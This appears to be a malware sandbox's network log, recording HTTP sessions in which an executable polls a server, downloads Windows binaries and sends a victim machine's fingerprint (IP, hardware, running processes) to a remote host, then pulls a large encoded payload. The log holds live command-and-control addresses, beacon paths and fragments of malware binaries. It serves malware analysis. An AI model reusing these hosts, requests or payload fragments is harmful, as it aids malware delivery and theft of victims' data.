Nov 29, 2024 19:51:25.211889029 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Nov 29, 2024 19:51:27.245822906 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:51:27.833121061 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Nov 29, 2024 19:51:29.902894020 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:51:30.483635902 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:30 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Nov 29, 2024 19:51:32.495261908 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:51:33.083307981 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:32 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Nov 29, 2024 19:51:35.094357014 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:51:35.667133093 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:35 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Nov 29, 2024 19:51:37.678236961 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:51:38.249861002 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:37 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Nov 29, 2024 19:51:40.257457018 CET	395	OUT	GET /files/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: C Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:51:40.836908102 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:40 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
Nov 29, 2024 19:51:43.869528055 CET	394	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: d Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:51:44.670259953 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:44 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="dll"; Content-Length: 242176 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELJlX!. @W H.text4 `.rsrc@@.reloc@BH`4eU}Yy={Xx=rpo2o(3o2}:s(2rp(;&Vrprp(>}(Co(D(E}(F(E(G&>}(Co(D}(F(E(H&">}R} { oo{ "}!{!}{#{op{,{ oo{!oo{*Bsu
Nov 29, 2024 19:51:45.226314068 CET	394	OUT	GET /soft/download HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: s Host: 185.156.72.65 Connection: Keep-Alive Cache-Control: no-cache
Nov 29, 2024 19:51:46.138727903 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:51:45 GMT Server: Apache/2.4.52 (Ubuntu) Content-Disposition: attachment; filename="soft"; Content-Length: 1502720 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: application/octet-stream Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 5f d5 ce a0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 30 14 00 00 bc 02 00 00 00 00 00 9e 4f 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 17 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 4f 14 00 4f 00 00 00 00 60 14 00 f0 b9 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 17 00 0c 00 00 00 30 4f 14 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_"00O `@ @`LOO` 0O H.text/ 0 `.rsrc`2@@.reloc @BOHh~DU ((~-rp(os~~j(r=p~otj(rMp~otj(rp~otj(rp~otj(rp~otj(rp~otj(rp~ot~(Vs(tN(((0f(8Mo9:oo-a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50064	34.118.84.150	80	5656	C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:14.626194000 CET	12360	OUT	POST /bugEWhhZIPIipxajeFfO1732855736 HTTP/1.1 Host: home.twentykx20pt.top Accept: / Content-Type: application/json Content-Length: 175127 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 32 32 38 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 32 39 30 36 32 36 38 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.228", "current_time": "1732906268", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 38, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 332 }, { "name": "csrss.exe", "pid": 420 }, { "name": "wininit.exe", "pid": 496 }, { "name": "csrss.exe", "pid": 504 }, { "name": "winlogon.exe", "pid": 564 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "fontdrvhost.exe", "pid": 788 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 924 }, { "name": "dwm.exe", "pid": 992 }, { "name": "svchost.exe", "pid": 444 }, { "name": "svchost.exe", "pid": 732 }, { "name": "svchost.exe", "pid": 280 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Nov 29, 2024 19:51:14.746320963 CET	2472	OUT	Data Raw: 32 64 78 42 47 41 62 46 46 66 46 63 66 37 59 39 6d 6d 6d 5c 2f 74 58 74 71 58 77 39 76 74 4a 38 51 5c 2f 73 31 36 50 38 41 45 37 78 62 34 65 30 69 38 38 51 51 5c 2f 77 42 6e 5c 2f 47 4c 77 52 38 4e 37 44 56 6f 72 76 78 46 34 66 31 32 4c 52 35 46 Data Ascii: 2dxBGAbFFfFcf7Y9mmm\/tXtqXw9vtJ8Q\/s16P8AE7xb4e0i88QQ\/wBn\/GLwR8N7DVorvxF4f12LR5F0SePxdoOpeFfFOhSadrOp+Cxd+E9e1BL3S\/G3hk3\/AHlr8W\/jD4k+Kvi7wV4H+Fnw11Hwb4F\/4RODxF4t8V\/GjxR4Y8TPf+K\/CFp4shh0XwRpHwK8ZaVf2lmt\/aWMt3fePdImlY3NwtighihuQD6Yor5b+
Nov 29, 2024 19:51:14.746368885 CET	2472	OUT	Data Raw: 58 34 51 65 48 50 48 2b 74 5c 2f 74 4e 5c 2f 41 7a 78 42 34 6d 38 48 6a 77 6c 34 54 2b 47 50 69 6e 78 4e 38 4f 5c 2f 77 44 68 54 76 69 32 34 38 61 33 44 33 50 67 62 58 50 69 58 38 50 50 43 5c 2f 69 50 78 56 34 72 38 45 2b 4f 50 45 4b 36 7a 61 44 Data Ascii: X4QeHPH+t\/tN\/AzxB4m8Hjwl4T+GPinxN8O\/wDhTvi248a3D3PgbXPiX8PPC\/iPxV4r8E+OPEK6zaDwxN4qh0PUo4W8PR6raaRZJdtePBYbD4iVdYnFrBxpYTFV6M3h62I+sYqjRlPD4JRopypyxdRRoqvNeyoOaqVmqabSxVatRVF0MM8TKeIoUqkVWp0fY0KlRQrYluppNYeDdR0o\/vKqi4U7yaR+xlFFfMHxs+Mnxb8
Nov 29, 2024 19:51:14.746594906 CET	2472	OUT	Data Raw: 70 33 69 43 34 54 77 37 34 4a 75 5c 2f 44 64 31 62 65 49 4c 62 78 56 72 42 73 39 43 6e 30 53 35 67 31 61 4b 5c 2f 61 77 6d 6a 75 47 4c 50 73 5c 2f 75 37 37 44 75 65 36 30 56 38 75 2b 4d 66 32 74 50 68 4c 59 65 46 4e 51 38 53 66 43 5c 2f 78 6e 38 Data Ascii: p3iC4Tw74Ju\/Dd1beILbxVrBs9Cn0S5g1aK\/awmjuGLPs\/u77Due60V8u+Mf2tPhLYeFNQ8SfC\/xn8OvjXdeHfjz8A\/gJ420bwF8SvDWsz+BvEnxu+Pvw8+Bk6+KZfDzeJZNE1vwhJ45ufEcvhbVrTT7\/V30CfQ3udGa6k1Ww9Psviv4UsdFXWPHPjD4WeF4rzxp4y8HaRc2XxL03VdF1K+8K+KNc8Ovpa6zrGmeFFHjS
Nov 29, 2024 19:51:14.746613979 CET	2472	OUT	Data Raw: 77 37 38 48 61 62 59 5c 2f 43 7a 53 50 32 62 46 74 50 42 58 67 4c 78 4a 4c 34 76 68 31 66 78 44 34 68 74 50 48 50 6a 37 78 74 34 63 68 30 75 5c 2f 73 66 44 50 77 78 2b 49 74 79 31 6f 31 78 2b 68 48 37 43 58 37 59 6e 78 52 5c 2f 61 79 73 66 69 5c Data Ascii: w78HabY\/CzSP2bFtPBXgLxJL4vh1fxD4htPHPj7xt4ch0u\/sfDPwx+Ity1o1x+hH7CX7YnxR\/aysfi\/F8V\/2U\/id+zRrPws8W6Bomj6p4r8MfHvRvh38XdA8R+HY9Yg8S\/C\/VP2lf2bv2S\/i3qTeHtTh1Tw34z07Xfgb4ftdH1K20y40rWvEVhrUFzbrDp4qj9Yoe\/R+o4TMXO6jy4XH0MtxWEc4zcZQr18Jm+WYu
Nov 29, 2024 19:51:14.746737003 CET	4944	OUT	Data Raw: 47 33 79 65 52 61 51 70 42 46 76 59 42 51 7a 2b 58 47 75 35 74 6f 79 32 54 67 5a 78 58 67 5c 2f 78 5c 2f 2b 42 65 69 5c 2f 48 6d 54 34 4e 36 50 34 73 38 4e 2b 42 76 47 66 67 58 77 54 38 58 50 2b 45 38 38 63 65 45 50 69 44 6f 39 70 34 69 30 50 78 Data Ascii: G3yeRaQpBFvYBQz+XGu5toy2TgZxXg\/x\/+Bei\/HmT4N6P4s8N+BvGfgXwT8XP+E88ceEPiDo9p4i0PxFokHws+KXhCws4tA1LSNY0fV9Rs\/FXjHw5rNvb6vFaWlvDplzqEN4NRsrC2uvoSigD4X+Jv7K2u+JR4+8G+Al8E\/D\/AOG\/xB0T9m7wLZXPhm5vPCvib4O+Efgnr\/jfxPdeI\/hHo2jeFJ9B0f4h+H7q88H2v
Nov 29, 2024 19:51:14.746937990 CET	2472	OUT	Data Raw: 37 43 36 50 36 52 30 55 63 7a 30 74 70 74 74 33 57 7a 5c 2f 42 65 51 2b 56 66 66 5c 2f 6e 66 38 5c 2f 7a 50 4b 76 67 6c 6f 33 6a 72 77 7a 38 4d 50 43 50 68 58 34 68 2b 48 5c 2f 68 66 34 61 38 51 2b 45 74 4a 74 50 43 69 61 66 38 41 42 6b 36 70 62 Data Ascii: 7C6P6R0Ucz0tptt3Wz\/BeQ+Vff\/nf8\/zPKvglo3jrwz8MPCPhX4h+H\/hf4a8Q+EtJtPCiaf8ABk6pbfDaXRvDlvFo+h6l4W8N6voWiXPgHTtT0yztr2D4bRT+KbH4fRTJ4SsfHXje10mLxNqXGXXwk8STfHL4w\/ExL3RBoPxB\/Z3+Ffwk0a0a5vxq9r4j8D+L\/wBoDxBq17qcA002cOiXFn8VvD0WnXNpf3t\/Lc2etJ
Nov 29, 2024 19:51:14.746952057 CET	2472	OUT	Data Raw: 2b 76 52 66 59 32 68 2b 4a 76 44 66 69 5a 64 55 66 77 33 34 67 30 54 78 43 6d 68 36 31 71 50 68 76 57 6e 30 50 56 62 44 56 6c 30 6a 78 46 70 45 69 78 61 74 6f 47 71 4e 59 58 46 77 4e 50 31 72 53 35 58 53 50 55 64 4b 75 7a 46 66 57 55 6a 71 6c 7a Data Ascii: +vRfY2h+JvDfiZdUfw34g0TxCmh61qPhvWn0PVbDVl0jxFpEixatoGqNYXFwNP1rS5XSPUdKuzFfWUjqlzBEzAE8P+JvDfi3T21bwr4g0TxNpS3uoaa2p+H9VsNZ09dR0m8m07VbBr3Tri5the6ZqFvcWOoWpk8+zvIJrW5jjnidFUUoxhCCUYRw9ONOMVaKwscLleDoxhFaLDxwWVZLhaaivZrC5bldCP7rB4SNO6lSdSVWVWc
Nov 29, 2024 19:51:14.747026920 CET	4944	OUT	Data Raw: 6c 34 49 5c 2f 36 41 6e 5c 2f 41 4a 55 74 58 5c 2f 38 41 6b 2b 6a 5c 2f 41 49 56 6c 34 49 5c 2f 36 41 6e 5c 2f 6c 53 31 66 5c 2f 41 4f 54 36 37 79 71 39 31 63 78 32 64 76 4c 63 53 35 32 52 72 6b 67 66 65 59 6b 68 56 52 66 39 70 6d 49 55 5a 77 42 Data Ascii: l4I\/6An\/AJUtX\/8Ak+j\/AIVl4I\/6An\/lS1f\/AOT67yq91cx2dvLcS52RrkgfeYkhVRf9pmIUZwBnJIAJB7Sp\/PP\/AMCl\/mHLD+WP\/gKOIk+G3gSJC8ujpGg6vJqmrIo+rNqAA\/OsxvB\/wyQkHT1JBx8t7rzjj0ZLtlP1BIPakvr+4v5jLMx25PlxAny4l9FHc\/3nI3MevAAFKtE6nWpU\/wDAn\/mzN8vSEfn
Nov 29, 2024 19:51:14.866816044 CET	9888	OUT	Data Raw: 51 52 31 46 48 74 4b 6e 38 38 5c 2f 38 41 77 4a 5c 2f 35 68 79 52 5c 2f 6c 6a 5c 2f 34 43 76 38 41 49 34 62 5c 2f 41 49 56 6c 34 49 5c 2f 36 41 6e 5c 2f 6c 53 31 66 5c 2f 41 4f 54 36 50 2b 46 5a 65 43 50 2b 67 4a 5c 2f 35 55 74 58 5c 2f 41 50 6b Data Ascii: QR1FHtKn88\/8AwJ\/5hyR\/lj\/4Cv8AI4b\/AIVl4I\/6An\/lS1f\/AOT6P+FZeCP+gJ\/5UtX\/APk+u8oo9pU\/nn\/4E\/8AMOSP8sf\/AAFf5HB\/8Ky8Ef8AQE\/8qWr\/APyfR\/wrLwR\/0BP\/ACpav\/8AJ9d5RR7Sp\/PP\/wACf+Yckf5Y\/wDgK\/yOD\/4Vl4I\/6An\/AJUtX\/8Ak+j\/AIVl4I\/6An\
Nov 29, 2024 19:51:14.868681908 CET	4944	OUT	Data Raw: 66 72 47 6d 36 74 72 76 67 66 55 74 4a 31 68 72 66 55 76 48 6e 6a 53 35 73 4c 37 54 4e 4f 38 45 57 31 68 71 4d 41 76 62 75 33 31 69 39 76 35 39 54 74 76 37 45 67 68 6a 30 70 72 70 70 4f 70 4a 56 4a 71 4d 5a 78 54 6c 4f 4b 6c 4f 6e 54 64 47 6a 78 Data Ascii: frGm6trvgfUtJ1hrfUvHnjS5sL7TNO8EW1hqMAvbu31i9v59Ttv7Eghj0prppOpJVJqMZxTlOKlOnTdGjxO6KpKS9rzVqi4ZWLulGpUrYt0nQo04\/Vspt+ypuEW6kJzvGXLGc41qnDik5uMnScKMFxDKhZupTUcLCf1iUpyxFKL9qnwpreheBNT+HvgL4nfFHWfHvgi4+Itt4J8I6Z4R0zxV4d8I2N3FpWp6h4q\/wCFg+NPA\
Nov 29, 2024 19:51:16.949971914 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Fri, 29 Nov 2024 18:51:16 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 59 67 41 4e 42 6a 52 44 6d 35 37 55 63 46 68 78 31 37 33 32 39 30 36 32 37 36 Data Ascii: YgANBjRDm57UcFhx1732906276

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50084	34.118.84.150	80	5656	C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 29, 2024 19:51:18.629625082 CET	126	OUT	GET /bugEWhhZIPIipxajeFfO1732855736?argument=YgANBjRDm57UcFhx1732906276 HTTP/1.1 Host: home.twentykx20pt.top Accept: /
Nov 29, 2024 19:51:20.112108946 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Fri, 29 Nov 2024 18:51:19 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="702160lCJQdaACBdkekql;" last-modified: Fri, 29 Nov 2024 04:48:56 GMT cache-control: no-cache etag: "1732855736.2222292-10816560-3972208884" Data Raw: 7d 09 6f f0 a6 59 c0 a4 5a b9 7a 7e 84 fa 9d 5a 59 c8 09 0a dc bd 97 9d 73 32 de 4a cf 99 50 54 f1 1c 73 75 b5 1a cc 2e 49 da 5d 78 05 d9 7b 4b 95 5f f5 c7 f2 0d 04 8b 09 e0 de 87 40 6c 88 81 fb 54 37 00 4a 5f bc 2a 22 b0 8b e1 1a 19 cc 4c a0 62 5c 49 89 32 3c e1 81 16 d3 a5 3f 91 fc f1 66 f2 e1 99 5c 98 2d 1b 4c ae fd 7e 2c 79 d7 91 06 ff 21 ed ee 1d de bf 99 3f 1b 6c 6e 6b c4 8b 39 76 91 92 06 05 c9 eb be c3 88 0e ba 35 e1 5e ba e9 e4 84 8f 4f 9b 99 d5 a7 c0 ee 21 0c 8b 70 4b c6 59 69 48 f0 2c 23 02 ea 67 a2 2a 06 0c 44 b1 d8 09 95 eb ad a5 dd cc 2e 8b 91 d3 80 08 12 ed 4f 68 c6 a7 71 87 a9 46 8d 98 50 46 6e 33 c5 4d aa da c9 2b 70 91 51 72 87 09 81 3f a3 45 b9 7f dd 08 c6 72 94 44 16 74 89 bf d5 8e 7e 9b 13 bc ca a0 bd 9f b9 77 eb 95 f2 48 48 e1 d6 0e 49 2f b8 3f 0f 3e f5 48 0b 62 cd c8 c0 91 b6 de bb 2c 70 9b 58 e1 9f 25 93 f3 d5 35 d7 4e b0 37 10 c0 fb 97 be 0c 97 e9 bb 99 a6 81 b0 fa 21 c4 ed 28 b7 45 8b 20 ad 18 22 82 c0 63 4f d9 3d 92 68 76 c2 33 52 8b 40 fb 09 a6 e0 10 fb 7b e5 ef 47 ad cc [TRUNCATED] Data Ascii: }oYZz~ZYs2JPTsu.I]x{K_@lT7J_"Lb\I2<?f\-L~,y!?lnk9v5^O!pKYiH,#gD.OhqFPFn3M+pQr?ErDt~wHHI/?>Hb,pX%5N7!(E "cO=hv3R@{G5!rHdXDZ%R@@t\|) LIZXulpMDm(`^JNKeg<E2(CCW!X&9$:pWnz?ypk`/N]L_'<c#c0kI)5AE$)_Itl%%sKKhZ)gF\|yyS#iyv:1gqETL=-vg.D=dl/c84U:eACfx<`RUq6AS!uG;:b3;uU$Vp1A#- l{3(^Y5u_+\|g\|n\,A7_B28a{[u+[1n&Bgvv.$F>X3s(i?S?x:SO&"0%G_Isr9)f6
Nov 29, 2024 19:51:20.112133026 CET	1236	IN	Data Raw: c1 32 8e f7 4e 37 ff 00 7a ce 34 6a 14 f0 7b e9 b6 fd e8 b8 de f0 5b 78 0f aa c8 27 92 6c e2 e1 0a 31 11 2b de db e1 ae 11 9f ef b7 0a 0c 57 26 b8 b6 8d 41 34 ef bd 43 d0 f1 a1 9c 32 38 4e 4f 17 27 5f b8 e0 b1 fd 83 d6 41 fc 2e ad f5 60 b7 84 7a Data Ascii: 2N7z4j{[x'l1+W&A4C28NO'_A.`z]L;8+O6!cR}?ofT?][#Nh06&Y-zANol~, .y0Yyhb%e,}r<:?}M<UVP
Nov 29, 2024 19:51:20.112143993 CET	1236	IN	Data Raw: d9 10 3a b0 98 d1 d2 41 d0 f3 5f 3b e1 ab f6 10 c2 30 9d bb 66 96 34 8f d3 fd 39 0e 92 cd 2e 83 f4 0c 7a 49 a4 ca 96 4c 5d 11 1b 61 a4 53 7a ab 33 0a 41 1c a7 32 46 b9 f2 b6 47 d3 b7 c6 d7 ce 9f f6 e2 f8 41 d6 f2 c1 12 e3 d6 96 1e e5 6e 0b 0b 8d Data Ascii: :A_;0f49.zIL]aSz3A2FGAnMG!C`q?\|c1J$v]~cjF:T,0p-0}M0EIZ0`r$>fb_a.BQ,CBZwOgZyr552<&KE{C
Nov 29, 2024 19:51:20.112306118 CET	1236	IN	Data Raw: 30 82 a3 ef 2c 8e 52 e0 3f 55 3c 41 b4 15 b6 2c 47 38 ca 09 55 57 c6 cd b1 8d ab a3 6f e8 84 06 24 f9 16 c1 63 8d 62 0c d6 cc e8 2a a7 1b a1 62 93 e5 24 a3 56 82 ad 63 32 ba 95 59 ef d1 f2 24 d2 ae 34 79 9e 01 8b 10 b7 3a 48 08 b8 b3 a2 2f 6a e2 Data Ascii: 0,R?U<A,G8UWo$cbb$Vc2Y$4y:H/j^%vH&6{CM-2:tO14p';NNdKMa:&D.]w[{4UIxW>x;8X>/N\|.#jsLwrAH,te,o?o
Nov 29, 2024 19:51:20.112317085 CET	1236	IN	Data Raw: 8d 9a 54 46 a0 56 14 1e 85 4c fa 83 03 29 64 19 36 e2 b0 f0 4b 73 2f 86 e7 95 07 98 66 2d 7a f4 21 12 f3 16 0d d5 16 f9 fd b5 1c 18 b3 84 53 20 1d 3a 2c e4 f7 8b 04 a0 0b 73 63 17 dd 1e fb 9b 85 4f db fd 44 11 ec ea 56 27 a0 6b 0f a8 51 de d4 38 Data Ascii: TFVL)d6Ks/f-z!S :,scODV'kQ8U-SY~z)m9@NB](%"\|gC\3^>V(;wt9mOg,paCoEF)i2WRhW?H>*Vd
Nov 29, 2024 19:51:20.112327099 CET	1236	IN	Data Raw: b5 80 0f 37 20 bf c5 08 9f 82 3b bd b7 d5 b5 25 0d 6e 7e fb 27 dd 00 a1 e7 56 15 d8 34 72 c3 8c fa fd 46 a8 da 82 e0 9a 3f 3d be d4 b9 e0 b7 03 2b d7 e7 7d 16 f2 81 cc 0e 48 f9 0f d8 04 09 3d 4f eb 02 44 44 3b c5 24 fb c0 e7 bc 7a 88 81 a7 04 a4 Data Ascii: 7 ;%n~'V4rF?=+}H=ODD;$z~J67`6_r\Cw#*f{.,=jPcL+]'G\|P\|xv6{Mh#>`:y$6^U[[xBWoz4%!ewf"C#Gq1
